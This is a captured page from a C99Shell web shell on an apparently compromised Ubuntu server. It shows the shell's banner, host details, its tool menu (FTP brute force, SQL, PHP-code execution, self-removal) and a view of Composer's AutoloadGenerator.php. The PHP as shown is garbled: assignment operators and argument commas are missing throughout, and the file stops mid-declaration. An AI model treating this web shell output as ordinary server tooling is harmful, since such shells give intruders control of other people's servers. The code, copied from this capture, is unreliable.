!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/composer/composer/src/Composer/Autoload/   drwxr-xr-x
Free 13.18 GB of 57.97 GB (22.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AutoloadGenerator.php (44.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Autoload;

use 
Composer\Config;
use 
Composer\EventDispatcher\EventDispatcher;
use 
Composer\Installer\InstallationManager;
use 
Composer\IO\IOInterface;
use 
Composer\Package\AliasPackage;
use 
Composer\Package\PackageInterface;
use 
Composer\Package\RootPackageInterface;
use 
Composer\Repository\InstalledRepositoryInterface;
use 
Composer\Repository\PlatformRepository;
use 
Composer\Semver\Constraint\Bound;
use 
Composer\Semver\Constraint\MatchAllConstraint;
use 
Composer\Util\Filesystem;
use 
Composer\Script\ScriptEvents;
use 
Composer\Util\PackageSorter;

/**
 * @author Igor Wiedler <igor@wiedler.ch>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 */
class AutoloadGenerator
{
    
/**
     * @var EventDispatcher
     */
    
private $eventDispatcher;

    
/**
     * @var IOInterface
     */
    
private $io;

    
/**
     * @var bool
     */
    
private $devMode false;

    
/**
     * @var bool
     */
    
private $classMapAuthoritative false;

    
/**
     * @var bool
     */
    
private $apcu false;

    
/**
     * @var string|null
     */
    
private $apcuPrefix;

    
/**
     * @var bool
     */
    
private $runScripts false;

    
/**
     * @var bool|array
     */
    
private $ignorePlatformReqs false;

    public function 
__construct(EventDispatcher $eventDispatcherIOInterface $io null)
    {
        
$this->eventDispatcher $eventDispatcher;
        
$this->io $io;
    }

    public function 
setDevMode($devMode true)
    {
        
$this->devMode = (bool) $devMode;
    }

    
/**
     * Whether or not generated autoloader considers the class map
     * authoritative.
     *
     * @param bool $classMapAuthoritative
     */
    
public function setClassMapAuthoritative($classMapAuthoritative)
    {
        
$this->classMapAuthoritative = (bool) $classMapAuthoritative;
    }

    
/**
     * Whether or not generated autoloader considers APCu caching.
     *
     * @param bool        $apcu
     * @param string|null $apcuPrefix
     */
    
public function setApcu($apcu$apcuPrefix null)
    {
        
$this->apcu = (bool) $apcu;
        
$this->apcuPrefix $apcuPrefix !== null ? (string) $apcuPrefix $apcuPrefix;
    }

    
/**
     * Set whether to run scripts or not
     *
     * @param bool $runScripts
     */
    
public function setRunScripts($runScripts true)
    {
        
$this->runScripts = (bool) $runScripts;
    }

    
/**
     * Sets whether platform requirements should be ignored
     *
     * If this is set to true, the platform check file will not be generated
     * If this is set to false, the platform check file will be generated with all requirements
     * If this is set to string[], those packages will be ignored from the platform check file
     *
     * @param array|bool $ignorePlatformReqs
     */
    
public function setIgnorePlatformRequirements($ignorePlatformReqs)
    {
        if (
is_array($ignorePlatformReqs)) {
            
$this->ignorePlatformReqs array_filter($ignorePlatformReqs, function ($req) {
                return 
PlatformRepository::isPlatformPackage($req);
            });
        } else {
            
$this->ignorePlatformReqs = (bool) $ignorePlatformReqs;
        }
    }

    public function 
dump(Config $configInstalledRepositoryInterface $localRepoRootPackageInterface $rootPackageInstallationManager $installationManager$targetDir$scanPsrPackages false$suffix '')
    {
        if (
$this->classMapAuthoritative) {
            
// Force scanPsrPackages when classmap is authoritative
            
$scanPsrPackages true;
        }
        if (
$this->runScripts) {
            
$this->eventDispatcher->dispatchScript(ScriptEvents::PRE_AUTOLOAD_DUMP$this->devMode, array(), array(
                
'optimize' => (bool) $scanPsrPackages,
            ));
        }

        
$filesystem = new Filesystem();
        
$filesystem->ensureDirectoryExists($config->get('vendor-dir'));
        
// Do not remove double realpath() calls.
        // Fixes failing Windows realpath() implementation.
        // See https://bugs.php.net/bug.php?id=72738
        
$basePath $filesystem->normalizePath(realpath(realpath(getcwd())));
        
$vendorPath $filesystem->normalizePath(realpath(realpath($config->get('vendor-dir'))));
        
$useGlobalIncludePath = (bool) $config->get('use-include-path');
        
$prependAutoloader $config->get('prepend-autoloader') === false 'false' 'true';
        
$targetDir $vendorPath.'/'.$targetDir;
        
$filesystem->ensureDirectoryExists($targetDir);

        
$vendorPathCode $filesystem->findShortestPathCode(realpath($targetDir), $vendorPathtrue);
        
$vendorPathCode52 str_replace('__DIR__''dirname(__FILE__)'$vendorPathCode);
        
$vendorPathToTargetDirCode $filesystem->findShortestPathCode($vendorPathrealpath($targetDir), true);

        
$appBaseDirCode $filesystem->findShortestPathCode($vendorPath$basePathtrue);
        
$appBaseDirCode str_replace('__DIR__''$vendorDir'$appBaseDirCode);

        
$namespacesFile = <<<EOF
<?php

// autoload_namespaces.php @generated by Composer

\$vendorDir = 
$vendorPathCode52;
\$baseDir = 
$appBaseDirCode;

return array(

EOF;

        
$psr4File = <<<EOF
<?php

// autoload_psr4.php @generated by Composer

\$vendorDir = 
$vendorPathCode52;
\$baseDir = 
$appBaseDirCode;

return array(

EOF;

        
// Collect information from all packages.
        
$devPackageNames $localRepo->getDevPackageNames();
        
$packageMap $this->buildPackageMap($installationManager$rootPackage$localRepo->getCanonicalPackages());
        if (
$this->devMode) {
            
// if dev mode is enabled, then we do not filter any dev packages out so disable this entirely
            
$filteredDevPackages false;
        } else {
            
// if the list of dev package names is available we use that straight, otherwise pass true which means use legacy algo to figure them out
            
$filteredDevPackages $devPackageNames ?: true;
        }
        
$autoloads $this->parseAutoloads($packageMap$rootPackage$filteredDevPackages);

        
// Process the 'psr-0' base directories.
        
foreach ($autoloads['psr-0'] as $namespace => $paths) {
            
$exportedPaths = array();
            foreach (
$paths as $path) {
                
$exportedPaths[] = $this->getPathCode($filesystem$basePath$vendorPath$path);
            }
            
$exportedPrefix var_export($namespacetrue);
            
$namespacesFile .= "    $exportedPrefix => ";
            
$namespacesFile .= "array(".implode(', '$exportedPaths)."),\n";
        }
        
$namespacesFile .= ");\n";

        
// Process the 'psr-4' base directories.
        
foreach ($autoloads['psr-4'] as $namespace => $paths) {
            
$exportedPaths = array();
            foreach (
$paths as $path) {
                
$exportedPaths[] = $this->getPathCode($filesystem$basePath$vendorPath$path);
            }
            
$exportedPrefix var_export($namespacetrue);
            
$psr4File .= "    $exportedPrefix => ";
            
$psr4File .= "array(".implode(', '$exportedPaths)."),\n";
        }
        
$psr4File .= ");\n";

        
$classmapFile = <<<EOF
<?php

// autoload_classmap.php @generated by Composer

\$vendorDir = 
$vendorPathCode52;
\$baseDir = 
$appBaseDirCode;

return array(

EOF;

        
// add custom psr-0 autoloading if the root package has a target dir
        
$targetDirLoader null;
        
$mainAutoload $rootPackage->getAutoload();
        if (
$rootPackage->getTargetDir() && !empty($mainAutoload['psr-0'])) {
            
$levels substr_count($filesystem->normalizePath($rootPackage->getTargetDir()), '/') + 1;
            
$prefixes implode(', 'array_map(function ($prefix) {
                return 
var_export($prefixtrue);
            }, 
array_keys($mainAutoload['psr-0'])));
            
$baseDirFromTargetDirCode $filesystem->findShortestPathCode($targetDir$basePathtrue);

            
$targetDirLoader = <<<EOF

    public static function autoload(\$class)
    {
        \$dir = 
$baseDirFromTargetDirCode . '/';
        \$prefixes = array(
$prefixes);
        foreach (\$prefixes as \$prefix) {
            if (0 !== strpos(\$class, \$prefix)) {
                continue;
            }
            \$path = \$dir . implode('/', array_slice(explode('\\\\', \$class), 
$levels)).'.php';
            if (!\$path = stream_resolve_include_path(\$path)) {
                return false;
            }
            require \$path;

            return true;
        }
    }

EOF;
        }

        
$excluded null;
        if (!empty(
$autoloads['exclude-from-classmap'])) {
            
$excluded $autoloads['exclude-from-classmap'];
        }

        
$classMap = array();
        
$ambiguousClasses = array();
        
$scannedFiles = array();
        foreach (
$autoloads['classmap'] as $dir) {
            
$classMap $this->addClassMapCode($filesystem$basePath$vendorPath$dir$excludednullnull$classMap$ambiguousClasses$scannedFiles);
        }

        if (
$scanPsrPackages) {
            
$namespacesToScan = array();

            
// Scan the PSR-0/4 directories for class files, and add them to the class map
            
foreach (array('psr-4''psr-0') as $psrType) {
                foreach (
$autoloads[$psrType] as $namespace => $paths) {
                    
$namespacesToScan[$namespace][] = array('paths' => $paths'type' => $psrType);
                }
            }

            
krsort($namespacesToScan);

            foreach (
$namespacesToScan as $namespace => $groups) {
                foreach (
$groups as $group) {
                    foreach (
$group['paths'] as $dir) {
                        
$dir $filesystem->normalizePath($filesystem->isAbsolutePath($dir) ? $dir $basePath.'/'.$dir);
                        if (!
is_dir($dir)) {
                            continue;
                        }

                        
$classMap $this->addClassMapCode($filesystem$basePath$vendorPath$dir$excluded$namespace$group['type'], $classMap$ambiguousClasses$scannedFiles);
                    }
                }
            }
        }

        foreach (
$ambiguousClasses as $className => $ambigiousPaths) {
            
$cleanPath str_replace(array('$vendorDir . \'''$baseDir . \''"',\n"), array($vendorPath$basePath''), $classMap[$className]);

            
$this->io->writeError(
                
'<warning>Warning: Ambiguous class resolution, "'.$className.'"'.
                
' was found '. (count($ambigiousPaths) + 1) .'x: in "'.$cleanPath.'" and "'implode('", "'$ambigiousPaths) .'", the first will be used.</warning>'
            
);
        }

        
$classMap['Composer\\InstalledVersions'] = "\$vendorDir . '/composer/InstalledVersions.php',\n";
        
ksort($classMap);
        foreach (
$classMap as $class => $code) {
            
$classmapFile .= '    '.var_export($classtrue).' => '.$code;
        }
        
$classmapFile .= ");\n";

        if (!
$suffix) {
            if (!
$config->get('autoloader-suffix') && is_readable($vendorPath.'/autoload.php')) {
                
$content file_get_contents($vendorPath.'/autoload.php');
                if (
preg_match('{ComposerAutoloaderInit([^:\s]+)::}'$content$match)) {
                    
$suffix $match[1];
                }
            }

            if (!
$suffix) {
                
$suffix $config->get('autoloader-suffix') ?: md5(uniqid(''true));
            }
        }

        
$filesystem->filePutContentsIfModified($targetDir.'/autoload_namespaces.php'$namespacesFile);
        
$filesystem->filePutContentsIfModified($targetDir.'/autoload_psr4.php'$psr4File);
        
$filesystem->filePutContentsIfModified($targetDir.'/autoload_classmap.php'$classmapFile);
        
$includePathFilePath $targetDir.'/include_paths.php';
        if (
$includePathFileContents $this->getIncludePathsFile($packageMap$filesystem$basePath$vendorPath$vendorPathCode52$appBaseDirCode)) {
            
$filesystem->filePutContentsIfModified($includePathFilePath$includePathFileContents);
        } elseif (
file_exists($includePathFilePath)) {
            
unlink($includePathFilePath);
        }
        
$includeFilesFilePath $targetDir.'/autoload_files.php';
        if (
$includeFilesFileContents $this->getIncludeFilesFile($autoloads['files'], $filesystem$basePath$vendorPath$vendorPathCode52$appBaseDirCode)) {
            
$filesystem->filePutContentsIfModified($includeFilesFilePath$includeFilesFileContents);
        } elseif (
file_exists($includeFilesFilePath)) {
            
unlink($includeFilesFilePath);
        }
        
$filesystem->filePutContentsIfModified($targetDir.'/autoload_static.php'$this->getStaticFile($suffix$targetDir$vendorPath$basePath$staticPhpVersion));
        
$checkPlatform $config->get('platform-check') && $this->ignorePlatformReqs !== true;
        
$platformCheckContent null;
        if (
$checkPlatform) {
            
$platformCheckContent $this->getPlatformCheck($packageMap$this->ignorePlatformReqs ?: array(), $config->get('platform-check'), $devPackageNames);
            if (
null === $platformCheckContent) {
                
$checkPlatform false;
            }
        }
        if (
$checkPlatform) {
            
$filesystem->filePutContentsIfModified($targetDir.'/platform_check.php'$platformCheckContent);
        } elseif (
file_exists($targetDir.'/platform_check.php')) {
            
unlink($targetDir.'/platform_check.php');
        }
        
$filesystem->filePutContentsIfModified($vendorPath.'/autoload.php'$this->getAutoloadFile($vendorPathToTargetDirCode$suffix));
        
$filesystem->filePutContentsIfModified($targetDir.'/autoload_real.php'$this->getAutoloadRealFile(true, (bool) $includePathFileContents$targetDirLoader, (bool) $includeFilesFileContents$vendorPathCode$appBaseDirCode$suffix$useGlobalIncludePath$prependAutoloader$staticPhpVersion$checkPlatform));

        
$filesystem->safeCopy(__DIR__.'/ClassLoader.php'$targetDir.'/ClassLoader.php');
        
$filesystem->safeCopy(__DIR__.'/../../../LICENSE'$targetDir.'/LICENSE');

        if (
$this->runScripts) {
            
$this->eventDispatcher->dispatchScript(ScriptEvents::POST_AUTOLOAD_DUMP$this->devMode, array(), array(
                
'optimize' => (bool) $scanPsrPackages,
            ));
        }

        return 
count($classMap);
    }

    private function 
addClassMapCode($filesystem$basePath$vendorPath$dir$excluded$namespaceFilter$autoloadType, array $classMap, array &$ambiguousClasses, array &$scannedFiles)
    {
        foreach (
$this->generateClassMap($dir$excluded$namespaceFilter$autoloadTypetrue$scannedFiles) as $class => $path) {
            
$pathCode $this->getPathCode($filesystem$basePath$vendorPath$path).",\n";
            if (!isset(
$classMap[$class])) {
                
$classMap[$class] = $pathCode;
            } elseif (
$this->io && $classMap[$class] !== $pathCode && !preg_match('{/(test|fixture|example|stub)s?/}i'strtr($classMap[$class].' '.$path'\\''/'))) {
                
$ambiguousClasses[$class][] = $path;
            }
        }

        return 
$classMap;
    }

    
/**
     * @param ?array $excluded
     */
    
private function generateClassMap($dir$excluded$namespaceFilter$autoloadType$showAmbiguousWarning, array &$scannedFiles)
    {
        if (
$excluded) {
            
// filter excluded patterns here to only use those matching $dir
            // exclude-from-classmap patterns are all realpath'd so we can only filter them if $dir exists so that realpath($dir) will work
            // if $dir does not exist, it should anyway not find anything there so no trouble
            
if (file_exists($dir)) {
                
// transform $dir in the same way that exclude-from-classmap patterns are transformed so we can match them against each other
                
$dirMatch preg_quote(strtr(realpath($dir), '\\''/'));
                foreach (
$excluded as $index => $pattern) {
                    
// extract the constant string prefix of the pattern here, until we reach a non-escaped regex special character
                    
$pattern preg_replace('{^(([^.+*?\[^\]$(){}=!<>|:\\\\#-]+|\\\\[.+*?\[^\]$(){}=!<>|:#-])*).*}''$1'$pattern);
                    
// if the pattern is not a subset or superset of $dir, it is unrelated and we skip it
                    
if (!== strpos($pattern$dirMatch) && !== strpos($dirMatch$pattern)) {
                        unset(
$excluded[$index]);
                    }
                }
            }

            
$excluded $excluded '{(' implode('|'$excluded) . ')}' null;
        }

        return 
ClassMapGenerator::createMap($dir$excluded$showAmbiguousWarning $this->io null$namespaceFilter$autoloadType$scannedFiles);
    }

    
/**
     * @param RootPackageInterface $rootPackage
     */
    
public function buildPackageMap(InstallationManager $installationManagerPackageInterface $rootPackage, array $packages)
    {
        
// build package => install path map
        
$packageMap = array(array($rootPackage''));

        foreach (
$packages as $package) {
            if (
$package instanceof AliasPackage) {
                continue;
            }
            
$this->validatePackage($package);

            
$packageMap[] = array(
                
$package,
                
$installationManager->getInstallPath($package),
            );
        }

        return 
$packageMap;
    }

    
/**
     * @param PackageInterface $package
     *
     * @throws \InvalidArgumentException Throws an exception, if the package has illegal settings.
     */
    
protected function validatePackage(PackageInterface $package)
    {
        
$autoload $package->getAutoload();
        if (!empty(
$autoload['psr-4']) && null !== $package->getTargetDir()) {
            
$name $package->getName();
            
$package->getTargetDir();
            throw new 
\InvalidArgumentException("PSR-4 autoloading is incompatible with the target-dir property, remove the target-dir in package '$name'.");
        }
        if (!empty(
$autoload['psr-4'])) {
            foreach (
$autoload['psr-4'] as $namespace => $dirs) {
                if (
$namespace !== '' && '\\' !== substr($namespace, -1)) {
                    throw new 
\InvalidArgumentException("psr-4 namespaces must end with a namespace separator, '$namespace' does not, use '$namespace\\'.");
                }
            }
        }
    }

    
/**
     * Compiles an ordered list of namespace => path mappings
     *
     * @param  array                $packageMap          array of array(package, installDir-relative-to-composer.json)
     * @param  RootPackageInterface $rootPackage         root package instance
     * @param  bool|string[]        $filteredDevPackages If an array, the list of packages that must be removed. If bool, whether to filter out require-dev packages
     * @return array                array('psr-0' => array('Ns\\Foo' => array('installDir')))
     */
    
public function parseAutoloads(array $packageMapPackageInterface $rootPackage$filteredDevPackages false)
    {
        
$rootPackageMap array_shift($packageMap);
        if (
is_array($filteredDevPackages)) {
            
$packageMap array_filter($packageMap, function ($item) use ($filteredDevPackages) {
                return !
in_array($item[0]->getName(), $filteredDevPackagestrue);
            });
        } elseif (
$filteredDevPackages) {
            
$packageMap $this->filterPackageMap($packageMap$rootPackage);
        }
        
$sortedPackageMap $this->sortPackageMap($packageMap);
        
$sortedPackageMap[] = $rootPackageMap;
        
array_unshift($packageMap$rootPackageMap);

        
$psr0 $this->parseAutoloadsType($packageMap'psr-0'$rootPackage);
        
$psr4 $this->parseAutoloadsType($packageMap'psr-4'$rootPackage);
        
$classmap $this->parseAutoloadsType(array_reverse($sortedPackageMap), 'classmap'$rootPackage);
        
$files $this->parseAutoloadsType($sortedPackageMap'files'$rootPackage);
        
$exclude $this->parseAutoloadsType($sortedPackageMap'exclude-from-classmap'$rootPackage);

        
krsort($psr0);
        
krsort($psr4);

        return array(
            
'psr-0' => $psr0,
            
'psr-4' => $psr4,
            
'classmap' => $classmap,
            
'files' => $files,
            
'exclude-from-classmap' => $exclude,
        );
    }

    
/**
     * Registers an autoloader based on an autoload map returned by parseAutoloads
     *
     * @param  array       $autoloads see parseAutoloads return value
     * @return ClassLoader
     */
    
public function createLoader(array $autoloads$vendorDir null)
    {
        
$loader = new ClassLoader($vendorDir);

        if (isset(
$autoloads['psr-0'])) {
            foreach (
$autoloads['psr-0'] as $namespace => $path) {
                
$loader->add($namespace$path);
            }
        }

        if (isset(
$autoloads['psr-4'])) {
            foreach (
$autoloads['psr-4'] as $namespace => $path) {
                
$loader->addPsr4($namespace$path);
            }
        }

        if (isset(
$autoloads['classmap'])) {
            
$excluded null;
            if (!empty(
$autoloads['exclude-from-classmap'])) {
                
$excluded $autoloads['exclude-from-classmap'];
            }

            
$scannedFiles = array();
            foreach (
$autoloads['classmap'] as $dir) {
                try {
                    
$loader->addClassMap($this->generateClassMap($dir$excludednullnullfalse$scannedFiles));
                } catch (
\RuntimeException $e) {
                    
$this->io->writeError('<warning>'.$e->getMessage().'</warning>');
                }
            }
        }

        return 
$loader;
    }

    protected function 
getIncludePathsFile(array $packageMapFilesystem $filesystem$basePath$vendorPath$vendorPathCode$appBaseDirCode)
    {
        
$includePaths = array();

        foreach (
$packageMap as $item) {
            list(
$package$installPath) = $item;

            if (
null !== $package->getTargetDir() && strlen($package->getTargetDir()) > 0) {
                
$installPath substr($installPath0, -strlen('/'.$package->getTargetDir()));
            }

            foreach (
$package->getIncludePaths() as $includePath) {
                
$includePath trim($includePath'/');
                
$includePaths[] = empty($installPath) ? $includePath $installPath.'/'.$includePath;
            }
        }

        if (!
$includePaths) {
            return;
        }

        
$includePathsCode '';
        foreach (
$includePaths as $path) {
            
$includePathsCode .= "    " $this->getPathCode($filesystem$basePath$vendorPath$path) . ",\n";
        }

        return <<<EOF
<?php

// include_paths.php @generated by Composer

\$vendorDir = 
$vendorPathCode;
\$baseDir = 
$appBaseDirCode;

return array(
$includePathsCode);

EOF;
    }

    protected function 
getIncludeFilesFile(array $filesFilesystem $filesystem$basePath$vendorPath$vendorPathCode$appBaseDirCode)
    {
        
$filesCode '';
        foreach (
$files as $fileIdentifier => $functionFile) {
            
$filesCode .= '    ' var_export($fileIdentifiertrue) . ' => '
                
$this->getPathCode($filesystem$basePath$vendorPath$functionFile) . ",\n";
        }

        if (!
$filesCode) {
            return 
false;
        }

        return <<<EOF
<?php

// autoload_files.php @generated by Composer

\$vendorDir = 
$vendorPathCode;
\$baseDir = 
$appBaseDirCode;

return array(
$filesCode);

EOF;
    }

    protected function 
getPathCode(Filesystem $filesystem$basePath$vendorPath$path)
    {
        if (!
$filesystem->isAbsolutePath($path)) {
            
$path $basePath '/' $path;
        }
        
$path $filesystem->normalizePath($path);

        
$baseDir '';
        if (
strpos($path.'/'$vendorPath.'/') === 0) {
            
$path substr($pathstrlen($vendorPath));
            
$baseDir '$vendorDir';

            if (
$path !== false) {
                
$baseDir .= " . ";
            }
        } else {
            
$path $filesystem->normalizePath($filesystem->findShortestPath($basePath$pathtrue));
            if (!
$filesystem->isAbsolutePath($path)) {
                
$baseDir '$baseDir . ';
                
$path '/' $path;
            }
        }

        if (
strpos($path'.phar') !== false) {
            
$baseDir "'phar://' . " $baseDir;
        }

        return 
$baseDir . (($path !== false) ? var_export($pathtrue) : "");
    }

    protected function 
getPlatformCheck(array $packageMap, array $ignorePlatformReqs$checkPlatform, array $devPackageNames)
    {
        
$lowestPhpVersion Bound::zero();
        
$requiredExtensions = array();
        
$extensionProviders = array();

        foreach (
$packageMap as $item) {
            
$package $item[0];
            foreach (
array_merge($package->getReplaces(), $package->getProvides()) as $link) {
                if (
preg_match('{^ext-(.+)$}iD'$link->getTarget(), $match)) {
                    
$extensionProviders[$match[1]][] = $link->getConstraint() ?: new MatchAllConstraint();
                }
            }
        }

        foreach (
$packageMap as $item) {
            
$package $item[0];
            
// skip dev dependencies platform requirements as platform-check really should only be a production safeguard
            
if (in_array($package->getName(), $devPackageNamestrue)) {
                continue;
            }

            foreach (
$package->getRequires() as $link) {
                if (
in_array($link->getTarget(), $ignorePlatformReqstrue)) {
                    continue;
                }

                if (
'php' === $link->getTarget() && ($constraint $link->getConstraint())) {
                    if (
$constraint->getLowerBound()->compareTo($lowestPhpVersion'>')) {
                        
$lowestPhpVersion $constraint->getLowerBound();
                    }
                }

                if (
$checkPlatform === true && preg_match('{^ext-(.+)$}iD'$link->getTarget(), $match)) {
                    
// skip extension checks if they have a valid provider/replacer
                    
if (isset($extensionProviders[$match[1]])) {
                        foreach (
$extensionProviders[$match[1]] as $provided) {
                            if (!
$link->getConstraint() || $provided->matches($link->getConstraint())) {
                                continue 
2;
                            }
                        }
                    }

                    if (
$match[1] === 'zend-opcache') {
                        
$match[1] = 'zend opcache';
                    }

                    
$extension var_export($match[1], true);
                    if (
$match[1] === 'pcntl' || $match[1] === 'readline') {
                        
$requiredExtensions[$extension] = "PHP_SAPI !== 'cli' || extension_loaded($extension) || \$missingExtensions[] = $extension;\n";
                    } else {
                        
$requiredExtensions[$extension] = "extension_loaded($extension) || \$missingExtensions[] = $extension;\n";
                    }
                }
            }
        }

        
ksort($requiredExtensions);

        
$formatToPhpVersionId = function (Bound $bound) {
            if (
$bound->isZero()) {
                return 
0;
            }

            if (
$bound->isPositiveInfinity()) {
                return 
99999;
            }

            
$version str_replace('-''.'$bound->getVersion());
            
$chunks array_map('intval'explode('.'$version));

            return 
$chunks[0] * 10000 $chunks[1] * 100 $chunks[2];
        };

        
$formatToHumanReadable = function (Bound $bound) {
            if (
$bound->isZero()) {
                return 
0;
            }

            if (
$bound->isPositiveInfinity()) {
                return 
99999;
            }

            
$version str_replace('-''.'$bound->getVersion());
            
$chunks explode('.'$version);
            
$chunks array_slice($chunks03);

            return 
implode('.'$chunks);
        };

        
$requiredPhp '';
        
$requiredPhpError '';
        if (!
$lowestPhpVersion->isZero()) {
            
$operator $lowestPhpVersion->isInclusive() ? '>=' '>';
            
$requiredPhp 'PHP_VERSION_ID '.$operator.' '.$formatToPhpVersionId($lowestPhpVersion);
            
$requiredPhpError '"'.$operator.' '.$formatToHumanReadable($lowestPhpVersion).'"';
        }

        if (
$requiredPhp) {
            
$requiredPhp = <<<PHP_CHECK

if (!(
$requiredPhp)) {
    \$issues[] = 'Your Composer dependencies require a PHP version 
$requiredPhpError. You are running ' . PHP_VERSION . '.';
}

PHP_CHECK;
        }

        
$requiredExtensions implode(''$requiredExtensions);
        if (
'' !== $requiredExtensions) {
            
$requiredExtensions = <<<EXT_CHECKS

\$missingExtensions = array();
$requiredExtensions
if (\$missingExtensions) {
    \$issues[] = 'Your Composer dependencies require the following PHP extensions to be installed: ' . implode(', ', \$missingExtensions) . '.';
}

EXT_CHECKS;
        }

        if (!
$requiredPhp && !$requiredExtensions) {
            return 
null;
        }

        return <<<PLATFORM_CHECK
<?php

// platform_check.php @generated by Composer

\$issues = array();
${requiredPhp}${requiredExtensions}
if (\$issues) {
    if (!headers_sent()) {
        header('HTTP/1.1 500 Internal Server Error');
    }
    if (!ini_get('display_errors')) {
        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
            fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, \$issues) . PHP_EOL.PHP_EOL);
        } elseif (!headers_sent()) {
            echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, \$issues)) . PHP_EOL.PHP_EOL;
        }
    }
    trigger_error(
        'Composer detected issues in your platform: ' . implode(' ', \$issues),
        E_USER_ERROR
    );
}

PLATFORM_CHECK;
    }

    protected function 
getAutoloadFile($vendorPathToTargetDirCode$suffix)
    {
        
$lastChar $vendorPathToTargetDirCode[strlen($vendorPathToTargetDirCode) - 1];
        if (
"'" === $lastChar || '"' === $lastChar) {
            
$vendorPathToTargetDirCode substr($vendorPathToTargetDirCode0, -1).'/autoload_real.php'.$lastChar;
        } else {
            
$vendorPathToTargetDirCode .= " . '/autoload_real.php'";
        }

        return <<<AUTOLOAD
<?php

// autoload.php @generated by Composer

require_once 
$vendorPathToTargetDirCode;

return ComposerAutoloaderInit
$suffix::getLoader();

AUTOLOAD;
    }

    protected function 
getAutoloadRealFile($useClassMap$useIncludePath$targetDirLoader$useIncludeFiles$vendorPathCode$appBaseDirCode$suffix$useGlobalIncludePath$prependAutoloader$staticPhpVersion$checkPlatform)
    {
        
$file = <<<HEADER
<?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInit
$suffix
{
    private static \$loader;

    public static function loadClassLoader(\$class)
    {
        if ('Composer\\Autoload\\ClassLoader' === \$class) {
            require __DIR__ . '/ClassLoader.php';
        }
    }

    /**
     * @return \Composer\Autoload\ClassLoader
     */
    public static function getLoader()
    {
        if (null !== self::\$loader) {
            return self::\$loader;
        }


HEADER;

        if (
$checkPlatform) {
            
$file .= <<<'PLATFORM_CHECK'
        require __DIR__ . '/platform_check.php';


PLATFORM_CHECK;
        }

        
$file .= <<<CLASSLOADER_INIT
        spl_autoload_register(array('ComposerAutoloaderInit$suffix', 'loadClassLoader'), true, $prependAutoloader);
        self::\$loader = \$loader = new \\Composer\\Autoload\\ClassLoader(\\dirname(\\dirname(__FILE__)));
        spl_autoload_unregister(array('ComposerAutoloaderInit
$suffix', 'loadClassLoader'));


CLASSLOADER_INIT;

        if (
$useIncludePath) {
            
$file .= <<<'INCLUDE_PATH'
        $includePaths = require __DIR__ . '/include_paths.php';
        $includePaths[] = get_include_path();
        set_include_path(implode(PATH_SEPARATOR, $includePaths));


INCLUDE_PATH;
        }

        
$file .= <<<STATIC_INIT
        \$useStaticLoader = PHP_VERSION_ID >= $staticPhpVersion && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
        if (\$useStaticLoader) {
            require __DIR__ . '/autoload_static.php';

            call_user_func(\Composer\Autoload\ComposerStaticInit
$suffix::getInitializer(\$loader));
        } else {

STATIC_INIT;

        if (!
$this->classMapAuthoritative) {
            
$file .= <<<'PSR04'
            $map = require __DIR__ . '/autoload_namespaces.php';
            foreach ($map as $namespace => $path) {
                $loader->set($namespace, $path);
            }

            $map = require __DIR__ . '/autoload_psr4.php';
            foreach ($map as $namespace => $path) {
                $loader->setPsr4($namespace, $path);
            }


PSR04;
        }

        if (
$useClassMap) {
            
$file .= <<<'CLASSMAP'
            $classMap = require __DIR__ . '/autoload_classmap.php';
            if ($classMap) {
                $loader->addClassMap($classMap);
            }

CLASSMAP;
        }

        
$file .= "        }\n\n";

        if (
$this->classMapAuthoritative) {
            
$file .= <<<'CLASSMAPAUTHORITATIVE'
        $loader->setClassMapAuthoritative(true);

CLASSMAPAUTHORITATIVE;
        }

        if (
$this->apcu) {
            
$apcuPrefix var_export(($this->apcuPrefix !== null $this->apcuPrefix substr(base64_encode(md5(uniqid(''true), true)), 0, -3)), true);
            
$file .= <<<APCU
        \$loader->setApcuPrefix($apcuPrefix);

APCU;
        }

        if (
$useGlobalIncludePath) {
            
$file .= <<<'INCLUDEPATH'
        $loader->setUseIncludePath(true);

INCLUDEPATH;
        }

        if (
$targetDirLoader) {
            
$file .= <<<REGISTER_TARGET_DIR_AUTOLOAD
        spl_autoload_register(array('ComposerAutoloaderInit$suffix', 'autoload'), true, true);


REGISTER_TARGET_DIR_AUTOLOAD;
        }

        
$file .= <<<REGISTER_LOADER
        \$loader->register($prependAutoloader);


REGISTER_LOADER;

        if (
$useIncludeFiles) {
            
$file .= <<<INCLUDE_FILES
        if (\$useStaticLoader) {
            \$includeFiles = Composer\Autoload\ComposerStaticInit
$suffix::\$files;
        } else {
            \$includeFiles = require __DIR__ . '/autoload_files.php';
        }
        foreach (\$includeFiles as \$fileIdentifier => \$file) {
            composerRequire
$suffix(\$fileIdentifier, \$file);
        }


INCLUDE_FILES;
        }

        
$file .= <<<METHOD_FOOTER
        return \$loader;
    }

METHOD_FOOTER;

        
$file .= $targetDirLoader;

        if (
$useIncludeFiles) {
            return 
$file . <<<FOOTER
}

function composerRequire
$suffix(\$fileIdentifier, \$file)
{
    if (empty(\$GLOBALS['__composer_autoload_files'][\$fileIdentifier])) {
        require \$file;

        \$GLOBALS['__composer_autoload_files'][\$fileIdentifier] = true;
    }
}

FOOTER;
        }

        return 
$file . <<<FOOTER
}

FOOTER;
    }

    protected function 
